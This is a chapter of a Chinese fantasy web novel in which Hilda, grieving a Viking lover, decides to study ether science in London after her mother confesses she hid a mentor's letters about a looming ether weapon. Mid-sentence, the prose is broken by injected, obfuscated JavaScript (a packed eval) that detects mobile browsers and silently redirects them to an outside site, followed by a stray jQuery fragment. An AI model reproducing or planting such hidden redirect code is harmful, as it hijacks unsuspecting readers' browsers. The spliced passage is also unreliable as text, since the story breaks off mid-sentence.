里斯本港，永远不会真正安静。远处“美人鱼”酒馆的喧哗隐约如潮汐涨落。但今夜，码头区西北角的木屋里，安静得只剩下鲸油灯芯燃烧的细微噼啪声。


    希尔达·科斯塔坐在窗边的旧扶手椅里，已经三天了。


    她穿着洗得发软的亚麻睡袍，红铜色长发松散地披着，几缕碎发粘在苍白的脸颊上。翡翠般的眼睛望着窗外，目光没有焦点，只是穿透黑暗，投入北海的方向。


    三天前，一艘从朴茨茅斯返航的葡萄牙商船带来了北海之战的零星消息。水手们在酒馆里唾沫横飞地谈论，说英吉利海军在设得兰群岛北边“全歼了一伙维京海盗”，是恐怖传说的那一艘，船沉人亡，海面上漂的都是碎木头和尸体。连个能审问的活口都没捞着！


    丽塔当时正在擦杯子，听到“维京海盗”和“全歼”时，她小心翼翼地看向角落——希尔达正坐在老位置，替一个热那亚商人包扎手上的割伤。希尔达的动作停了一瞬，只有一瞬，然后继续缠绷带，打结，收钱，语气平静地嘱咐注意事项。直到商人离开，她收拾药箱，上楼，关上房门。


    再没下来。


    丽塔试过一切办法。她做了希尔达最爱吃的炖鱼，放在门口，冷了又热，热了又冷。她故意在楼下大声骂那些赖账的醉汉，摔盘子，指望女儿至少会探出头来说一句“妈妈小声点”。没用。


    第四天傍晚，丽塔再也受不了了，端着一盘几乎没动的食物，用肩膀顶开房门。房间里草药和灰尘的味道很重，窗户关着，空气很旧。希尔达还是坐在椅子里，姿势和三天前几乎一样，只是更瘦了些。肩膀在宽大的睡袍下显出脆弱的轮廓。


    丽塔把盘子重重放在小桌上，


    “吃。”她说，声音硬邦邦的。


    希尔达没动。


    丽塔走到窗边，猛地推开窗户。夜晚潮湿的风涌进来，吹动了希尔达的头发，港口的喧嚣瞬间放大。


    “听见了吗？”丽塔指着窗外，“日子还在过。码头每天都有船出去，每天都有船回来。有人发财，有人死在海里。水手就是这样，今天还在你面前吹牛，明天可能就喂了鱼。生死由天，你消沉给谁看？”


    希尔达终于有了反应。她微微偏过头，目光落在母亲脸上。丽塔·科斯塔，四十多岁，身材像橡木酒桶一样结实，棕红色的头发胡乱挽成髻，脸上每道皱纹都刻着风浪。此刻，那双和希尔达一样的翡翠色眼睛里，只有疲惫和担忧。


    “我的好女儿，”丽塔的声音低下去“你这样子，我疼在心里啊。”


    她蹲下来——这个动作对她粗壮的身材来说有些吃力。握住希尔达冰凉的手，用力搓了搓。


    “妈妈只希望你开心。真的。你去做点事情，什么都行，转移一下注意力。你想学新的草药？想买那些贵得要死的玻璃器皿？想去别的城市看看？你说，妈妈都支持。钱不够，我把酒馆卖了也成”


    房间里安静了很久。


    然后，希尔达开口了。声音嘶哑，干涩


    “我要去伦敦。”


    ---


    丽塔愣住了。


    她脸上的担忧瞬间冻结，然后碎裂，被惊愕、愤怒和恐慌取代。她猛地站起来，带倒了小凳子。


    “伦敦？！你疯了？！为了那个红毛小子？埃里克？希尔达，英吉利海军不是维京人的长船！他们有火炮！全歼！你听见了吗？无一生还！埃里克他活不下来！没有人能从那种战场上活下来！”


    她喘着气，胸脯剧烈起伏。


    “爱情？爱情能当饭吃？能挡炮弹？我年轻的时候也信过这种鬼话！结果呢？你那个爹，说得比唱得好听，什么“等我回来就娶你”——然后呢？他一走了之，再没消息！每个港口都有债，你现在要走他的老路？为了一个死人，跑去英吉利？那里的人看不起我们这种混血，看不起码头出来的女孩！你会被欺负，会被骗……”


    “妈妈。”


    希尔达打断了她。


    丽塔停住了，瞪着女儿。


    希尔达慢慢转过头，看向窗外。港口的灯火在瞳孔里投下细碎的光点。她的目光似乎穿过了里斯本的夜晚，穿过了英吉利海峡，投向了某个更遥远、更抽象的地方。


    “我知道他活下来的可能性几乎没有。”语气像是在陈述一个早已接受的事实，“但是，妈妈，我不是为了埃里克去伦敦。”


    丽塔皱起眉，显然没听懂。


    希尔达的指尖摩挲着睡袍粗糙的布料。她的思绪飘回两周前，埃里克站在窗外告别的夜晚。红头发在暮色中像一团即将熄灭的火焰，像定下了誓约：


    “你要是想走老师的路，想去看更多的地方，想学更多的东西，我们可以去英吉利住一段时间。”


    然后是她的老师韩吉。那个总是穿着朴素的长袍，身上带着矿石和草药特气味的女人。她说：


    “永远不要放弃好奇心，永远不要停止探索。希尔达，这个世界比你想象的大得多。”


    最后是林，那个独眼断臂的东方女人。她左肩上狰狞的伤口刚刚缝合，声音因为失血而低哑：


    “它……不是鱼，也不是人。皮肤是透明的，能看到蓝色的血管。眼睛全是黑的，没有眼白。看着它的时候，你会头晕，会耳鸣。”


    三件事。三个碎片。在此刻碰撞。原来她，早早就有了自己没察觉得到的野心。


    还有饥饿。


    对知识、对真相、对理解这个光怪陆离世界的、无法被酒馆麦酒和码头喧嚣填满的饥饿。


    “老师说过，伦敦有全欧洲最好的学院。”希尔达转过头，看着母亲，眼神清澈而坚定，“英吉利是现在最先进的地方。他们有能看见星辰表面的镜片，有解释万物运动规律的数学，有研究以太——那种看不见却真实存在的力量的学者。”


    她深吸一口气：


    “我想知道，妈妈。我想知道人是什么，生命是什么。为什么会有林描述的那种生物存在？为什么世界会是这样？”


    她握住丽塔粗糙的手：


    “我想去看老师描述的世界。不是作为酒馆老板娘的女儿，是作为一个想弄明白这一切的人。”


    ---


    丽塔怔怔地看着女儿。


    她听不懂“以太”，听不懂“数学”，甚至不太明白“学院”具体是干什么的。她一辈子在码头，认得的字勉强够记账。但她看得懂希尔达此刻的眼神——那种光，她只在一个人脸上见过。


    韩吉。


    那个突然出现、又突然消失的女人。


    丽塔沉默了。她慢慢抽回手，走到墙边的旧木柜前，蹲下，费力地从最底层拖出一个用油布包裹的扁木盒。盒子很旧，挂锁已经锈蚀。她没用钥匙，直接用手拧断了锁扣。


    打开盒子，里面有几件零碎：一枚刻着维京符文的骨片，一小束用红线扎着的婴儿头发，还有两封信。


    信纸质地很好，边缘有鎏金纹样，但已经泛黄。一封封口盖着红色火漆，印徽是打开的书本与交叉的望远镜；另一封没有火漆，只是简单对折。


    丽塔拿起那封没有火漆的信，手指摩挲着纸面。良久，才用干涩的声音说：


    “韩吉老师……不是厌倦了里斯本才走的。”


    希尔达的身体僵住了。


    “自由港出了事。”丽塔叹气，“很大的事。韩吉说，如果处理不好，可能会让所有人都死掉。”


    她目光复杂：“她是去救火的。像那些冲进着火房子里的人。她知道自己可能回不来。”


    希尔达想起老师最后几次见面时，眼底下难以掩饰的疲惫。


    丽塔把信递过来：“她走之前，留下了这两封信。一封是给皇家自然哲学学院的推荐信。另一封是给你的，那已经是一年多前的事了。”


    希尔达接过给自己的信。手指触到纸面。


    丽塔别过脸去，声音哽咽：


    “我……我拆了你的信。”


    希尔达愕然。。


    “我认识的字不多。”丽塔继续说，“我找了码头那个老文书，他快死了，嘴严。我让他念给我听。信很长，很多词我听不懂。什么裂变、临界、生物电池……但大概意思，我明白了。”


    她转过身，眼睛里蓄满了泪水：


    “韩吉说，你有天赋。她说，这个世界需要你这样的人。她说，你可能会做出改变历史的事。但也可能，会卷入政治，卷入阴谋，甚至可能死得不明不白。”


    泪水滚落：


    “我当时怕了，希尔达。我真的怕了。我没文化，不懂那些大道理。我只知道，你是我女儿。我只想让你平安，让你开心，让你在里斯本嫁个老实人，开间小店，平平凡凡过完一辈子。”


    她抬手抹了把脸：


    “所以我把信藏起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081273|195323||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来了。我跟你说，韩吉老师是厌倦了这里，去别处历练了。我又想，那封推荐信没什么用，伦敦太远，学院不是我们这种人去的地方。我骗了你。我用一个母亲的自私，断了你本该走的路。”


    房间里只剩下丽塔压抑的抽泣声。


    希尔达看着母亲。这个像橡木一样坚硬，此刻佝偻着肩膀，哭得像个小女孩。她手中那封信，突然变得无比沉重


    她没有责怪，她只是走上前，紧紧抱住了丽塔。


    丽塔的身体僵硬了一瞬，然后彻底软化，回抱住女儿，嚎啕大哭。哭声粗糙，沙哑，把多年来的担忧、恐惧、隐瞒和负罪感全部倾泻出来。


    “我怎么会怪你呢，妈妈。”希尔达的头埋在丽塔的肩颈，闷闷的说。


    ---


    不知过了多久，丽塔的哭声渐渐平息。她松开希尔达，用袖子狠狠擦了把脸，她走到木盒边，拿出那封盖着火漆的推荐信，塞进希尔达手里。


    “拿着。”她的声音还带着浓重的鼻音，“去找韩吉老师说的地方。去做你该做的事。”


    希尔达握着两封信。


    然后，她低下头，轻轻展开了韩吉留给她的那封信。


    信纸的第一行字，在昏黄的光线下清晰如凿刻：


    “致我最聪明的学生希尔达：如果你读到这封信，说明我已经回不来了。不要悲伤，时间紧迫。以下内容，关乎世界的天平……”


    希尔达的呼吸屏住了。她的目光迅速扫过接下来的段落：


    “……自由港联邦正在从变异生物体内榨取以太，手段残忍。他们试图制造一种武器，一旦成功，将无人能制衡。他们的机密实验室发生以太失控，我此去，是要进入失控核心区……”


    “手动关闭裂变堆芯，延缓以太污染的扩散。”


    “……你需要前往伦敦皇家自然哲学学院。凭推荐信，他们会让你接触最深层的秘密：铀矿与以太的交互研究。那不是为了制造武器，希尔达。当自由港拿着以太裂变弹压迫世界时，英国需要有与之相衡的力量。才能守住弱者的喘息之地……”


    “但记住，永远不要让国家的野心吞噬你对生命的敬畏。”


    “……最后：我在地下三层的第七号样本库，留下了我的全部笔记和一枚自由港的残骸碎片。密码是你学会配制的第一种止血药剂的原料顺序。”


    信不长，但每一个字都像铅块砸进希尔达心里。以太武器。天平。制衡。钥匙。


    她的手在微微颤抖。责任，以及突然压上肩头的、关乎无数生命的重量。


    丽塔看着她苍白的脸色，粗声说：“现在你知道我为什么藏起它了。”


    希尔达抬起头，翡翠色的眼睛里有什么东西沉淀下来，变得坚硬而清晰。


    “正因如此，我必须去。”她说。


    丽塔看着她，看了很久。然后，这个女人别过头去，用近乎别扭的语气说：


    “埃里克那小子壮得像座山。维京人没那么容易死。要是他真没死，从哪个海岛爬回来了。”


    她顿了顿，声音低下去：


    “那蓝宝石成色还不错。他能弄到那种东西，也算有点本事。我、我也不反对你和他结婚了。”


    希尔达愣住了。


    随即，眼眶发热。她知道，这是母亲能给出的、最笨拙也最真挚的祝福。


    “妈妈”她哽咽了。


    “行了！”丽塔粗声打断，挥手，“收拾东西去！伦敦那么远，船票不便宜。我去楼下看看还有多少现钱！”


    她转身大步走向门口，背影依旧结实。但在推门出去的瞬间，希尔达看见母亲抬起手，飞快地抹了下眼角。


    房间里安静下来。希尔达重新低头，将韩吉的信仔细折好，贴身收起。然后拿起那封推荐信，火漆上的印徽在灯光下微微反光。


    然后，她转身开始收拾行囊。


    动作很快，几件换洗衣物，药箱，埃里克给她的银币，还有那两封信。


    当她扣上行李搭扣时，楼下传来丽塔粗哑的嗓音，正在催几个赖账的醉鬼结账——“快点！老娘急着用钱！”


    希尔达的嘴角极轻微地弯了一下。


    月光洒进窗户，照在她专注的眼睛里，远方伦敦的铅灰色天空，和天空下她将踏入的充满秘密与危险的学院。


    里斯本的这一夜，很安静。暗流涌动。